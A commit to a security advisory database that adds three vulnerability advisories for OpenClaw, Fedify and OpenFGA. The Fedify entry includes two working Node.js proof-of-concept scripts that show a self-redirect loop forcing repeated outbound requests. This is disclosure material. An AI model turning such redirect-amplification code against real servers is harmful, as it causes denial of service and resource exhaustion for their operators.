Skip to content

Commit 313b5f3

Browse files
1 parent 97e931d commit 313b5f3

4 files changed

Lines changed: 313 additions & 44 deletions

File tree

Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-8288-jpqp-95fx",
4+
"modified": "2026-04-07T18:04:56Z",
5+
"published": "2026-03-31T12:31:36Z",
6+
"withdrawn": "2026-04-07T18:04:56Z",
7+
"aliases": [
8+
"CVE-2026-34508"
9+
],
10+
"summary": "Duplicate Advisory: OpenClaw has Bypass in Webhook Rate Limiting via Pre-Authentication Secret Validation",
11+
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because CVE-2026-34508 has been rejected as a duplicate of CVE-2026-34505. This link is maintained to preserve external references.\n\n### Original Description\nOpenClaw before 2026.3.12 applies rate limiting only after webhook authentication succeeds, allowing attackers to bypass rate limits and brute-force webhook secrets without triggering 429 responses. Attackers can repeatedly guess invalid secrets to discover valid credentials and subsequently submit forged Zalo webhook traffic.",
12+
"severity": [
13+
{
14+
"type": "CVSS_V3",
15+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
16+
},
17+
{
18+
"type": "CVSS_V4",
19+
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
20+
}
21+
],
22+
"affected": [
23+
{
24+
"package": {
25+
"ecosystem": "npm",
26+
"name": "openclaw"
27+
},
28+
"ranges": [
29+
{
30+
"type": "ECOSYSTEM",
31+
"events": [
32+
{
33+
"introduced": "0"
34+
},
35+
{
36+
"fixed": "2026.3.12"
37+
}
38+
]
39+
}
40+
]
41+
}
42+
],
43+
"references": [
44+
{
45+
"type": "WEB",
46+
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-5m9r-p9g7-679c"
47+
},
48+
{
49+
"type": "ADVISORY",
50+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34508"
51+
},
52+
{
53+
"type": "PACKAGE",
54+
"url": "https://github.com/openclaw/openclaw"
55+
},
56+
{
57+
"type": "WEB",
58+
"url": "https://www.vulncheck.com/advisories/openclaw-webhook-rate-limiting-bypass-via-pre-authentication-secret-validation-2"
59+
}
60+
],
61+
"database_specific": {
62+
"cwe_ids": [
63+
"CWE-307"
64+
],
65+
"severity": "MODERATE",
66+
"github_reviewed": true,
67+
"github_reviewed_at": "2026-04-07T18:04:56Z",
68+
"nvd_published_at": "2026-03-31T12:16:30Z"
69+
}
70+
}
Lines changed: 179 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,179 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-gm9m-gwc4-hwgp",
4+
"modified": "2026-04-07T18:04:09Z",
5+
"published": "2026-04-07T18:04:09Z",
6+
"aliases": [
7+
"CVE-2026-34148"
8+
],
9+
"summary": "Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution",
10+
"details": "### Summary\n\n`@fedify/fedify` follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service.\n\n### Details\n\nFedify verifies ActivityPub HTTP signatures by fetching the remote `keyId` during request processing. The relevant flow is `handleInboxInternal()` -> `verifyRequest()` -> `fetchKeyInternal()` -> document loader.\n\nIn affected versions:\n- the generic document loader recursively follows `3xx` responses by calling `load()` again on the `Location` header\n- the authenticated redirect path (`doubleKnock()`) also recursively follows redirects\n- neither path enforces a redirect cap or tracks visited URLs to detect self-referential redirect loops\n\nAs a result, if an attacker-controlled `keyId` or actor URL responds with `302 Location: <same URL>`, a single ActivityPub request can trigger tens or hundreds of outbound requests before the fetch completes or the request times out.\n\nI confirmed the issue in `@fedify/fedify` 1.9.1 and 1.9.2. By contrast, Fedify's WebFinger lookup path already has a redirect cap, which suggests the missing bound in the document loader is unintended.\n\nFailed key fetches are not durably negatively cached. After a failed lookup, the null result is only remembered in a request-local cache, so later requests can trigger the same redirect loop again for the same `keyId`.\n\n### PoC\n\nMinimal direct reproduction with the package:\n\n1. Install `@fedify/fedify@1.9.2`.\n2. Save and run the following script:\n\n```js\nimport http from \"node:http\";\nimport { getDocumentLoader } from \"@fedify/fedify\";\n\nconst port = 45679;\nlet count = 0;\nconst redirectCount = 120;\n\nconst server = http.createServer((req, res) => {\n count += 1;\n\n if (count < redirectCount) {\n res.writeHead(302, {\n Location: `http://127.0.0.1:${port}/actor`,\n });\n res.end();\n return;\n }\n\n res.writeHead(200, { \"Content-Type\": \"application/activity+json\" });\n res.end(JSON.stringify({\n \"@context\": \"https://www.w3.org/ns/activitystreams\",\n \"id\": `http://127.0.0.1:${port}/actor`,\n \"type\": \"Person\"\n }));\n});\n\nawait new Promise((resolve) => server.listen(port, \"127.0.0.1\", resolve));\n\ntry {\n const loader = getDocumentLoader({ allowPrivateAddress: true });\n await loader(`http://127.0.0.1:${port}/actor`);\n console.log({ count });\n} finally {\n server.close();\n}\n```\n\n3. Observe output similar to:\n\n```\n{ count: 120 }\n```\n\nThis shows the loader followed 119 self-redirects before the first non-redirect response.\n\nThe authenticated loader used for signed requests shows the same behavior:\n\n```\nimport http from \"node:http\";\nimport {\n generateCryptoKeyPair,\n getAuthenticatedDocumentLoader,\n} from \"@fedify/fedify\";\n\nconst port = 45680;\nlet count = 0;\nconst redirectCount = 120;\n\nconst server = http.createServer((req, res) => {\n count += 1;\n\n if (count < redirectCount) {\n res.writeHead(302, {\n Location: `http://127.0.0.1:${port}/actor`,\n });\n res.end();\n return;\n }\n\n res.writeHead(200, { \"Content-Type\": \"application/activity+json\" });\n res.end(JSON.stringify({\n \"@context\": \"https://www.w3.org/ns/activitystreams\",\n \"id\": `http://127.0.0.1:${port}/actor`,\n \"type\": \"Person\"\n }));\n});\n\nawait new Promise((resolve) => server.listen(port, \"127.0.0.1\", resolve));\n\ntry {\n const { privateKey } = await generateCryptoKeyPair();\n const loader = getAuthenticatedDocumentLoader(\n {\n privateKey,\n keyId: new URL(\"https://example.com/users/index#main-key\"),\n },\n { allowPrivateAddress: true },\n );\n\n await loader(`http://127.0.0.1:${port}/actor`);\n console.log({ count });\n} finally {\n server.close();\n}\n```\n\n### Impact\n\nThis is an unauthenticated denial-of-service / request amplification issue. Any Fedify-based server that verifies remote keys or loads remote ActivityPub documents can be forced to spend CPU time, worker time, connection slots, and outbound bandwidth following attacker-controlled redirects. A single inbound request can trigger a large number of outbound requests, and the attack can be repeated across requests because failed lookups are not durably negatively cached.\n\n### Misc Notes\n\nThis issue was surfaced by a Ghost ActivityPub user reporting the issue directly to Ghost. The above report was generated upon further investigation into the issue by the Ghost team. **The original reporter should be credited for the discovery**.\n\nIn case you accept this advisory please coordinate time of disclosure and credit with us",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "@fedify/fedify"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.9.6"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "npm",
40+
"name": "@fedify/vocab-runtime"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "0"
48+
},
49+
{
50+
"fixed": "2.0.8"
51+
}
52+
]
53+
}
54+
]
55+
},
56+
{
57+
"package": {
58+
"ecosystem": "npm",
59+
"name": "@fedify/vocab-runtime"
60+
},
61+
"ranges": [
62+
{
63+
"type": "ECOSYSTEM",
64+
"events": [
65+
{
66+
"introduced": "2.1.0"
67+
},
68+
{
69+
"fixed": "2.1.1"
70+
}
71+
]
72+
}
73+
],
74+
"versions": [
75+
"2.1.0"
76+
]
77+
},
78+
{
79+
"package": {
80+
"ecosystem": "npm",
81+
"name": "@fedify/fedify"
82+
},
83+
"ranges": [
84+
{
85+
"type": "ECOSYSTEM",
86+
"events": [
87+
{
88+
"introduced": "1.10.0"
89+
},
90+
{
91+
"fixed": "1.10.5"
92+
}
93+
]
94+
}
95+
]
96+
},
97+
{
98+
"package": {
99+
"ecosystem": "npm",
100+
"name": "@fedify/fedify"
101+
},
102+
"ranges": [
103+
{
104+
"type": "ECOSYSTEM",
105+
"events": [
106+
{
107+
"introduced": "2.0.0"
108+
},
109+
{
110+
"fixed": "2.0.8"
111+
}
112+
]
113+
}
114+
]
115+
},
116+
{
117+
"package": {
118+
"ecosystem": "npm",
119+
"name": "@fedify/fedify"
120+
},
121+
"ranges": [
122+
{
123+
"type": "ECOSYSTEM",
124+
"events": [
125+
{
126+
"introduced": "2.1.0"
127+
},
128+
{
129+
"fixed": "2.1.1"
130+
}
131+
]
132+
}
133+
],
134+
"versions": [
135+
"2.1.0"
136+
]
137+
}
138+
],
139+
"references": [
140+
{
141+
"type": "WEB",
142+
"url": "https://github.com/fedify-dev/fedify/security/advisories/GHSA-gm9m-gwc4-hwgp"
143+
},
144+
{
145+
"type": "ADVISORY",
146+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34148"
147+
},
148+
{
149+
"type": "PACKAGE",
150+
"url": "https://github.com/fedify-dev/fedify"
151+
},
152+
{
153+
"type": "WEB",
154+
"url": "https://github.com/fedify-dev/fedify/releases/tag/1.10.5"
155+
},
156+
{
157+
"type": "WEB",
158+
"url": "https://github.com/fedify-dev/fedify/releases/tag/1.9.6"
159+
},
160+
{
161+
"type": "WEB",
162+
"url": "https://github.com/fedify-dev/fedify/releases/tag/2.0.8"
163+
},
164+
{
165+
"type": "WEB",
166+
"url": "https://github.com/fedify-dev/fedify/releases/tag/2.1.1"
167+
}
168+
],
169+
"database_specific": {
170+
"cwe_ids": [
171+
"CWE-400",
172+
"CWE-770"
173+
],
174+
"severity": "HIGH",
175+
"github_reviewed": true,
176+
"github_reviewed_at": "2026-04-07T18:04:09Z",
177+
"nvd_published_at": "2026-04-06T16:16:34Z"
178+
}
179+
}
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-jwvj-g8pc-cx45",
4+
"modified": "2026-04-07T18:05:16Z",
5+
"published": "2026-04-07T18:05:16Z",
6+
"aliases": [
7+
"CVE-2026-34972"
8+
],
9+
"summary": "OpenFGA's BatchCheck within-request deduplication produces incorrect authorization decisions via list-value cache-key collision",
10+
"details": "### Description\n\nIn OpenFGA, under specific conditions, BatchCheck calls with multiple checks sent for the same object, relation, and user combination can result in improper policy enforcement.\n\n### Am I affected?\n\nYou are affected if you meet the following preconditions:\n1. You execute **BatchCheck** operations which rely on context. \n2. Multiple checks are sent within a single BatchCheck operation for the same user/object/relation combination, each containing context.\n3. The contexts between those checks differ in a specific way\n\n### Fix\nUpgrade to OpenFGA v1.14.0\n\n### Acknowledgement\nOpenFGA would like to thank @bugbunny-research for the discovery and detailed report.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/openfga/openfga"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "1.8.0"
29+
},
30+
{
31+
"fixed": "1.14.0"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 1.13.1"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/openfga/openfga/security/advisories/GHSA-jwvj-g8pc-cx45"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34972"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/openfga/openfga"
53+
}
54+
],
55+
"database_specific": {
56+
"cwe_ids": [
57+
"CWE-863"
58+
],
59+
"severity": "MODERATE",
60+
"github_reviewed": true,
61+
"github_reviewed_at": "2026-04-07T18:05:16Z",
62+
"nvd_published_at": "2026-04-06T21:16:19Z"
63+
}
64+
}

advisories/unreviewed/2026/03/GHSA-8288-jpqp-95fx/GHSA-8288-jpqp-95fx.json

Lines changed: 0 additions & 44 deletions
This file was deleted.

0 commit comments

Comments
 (0)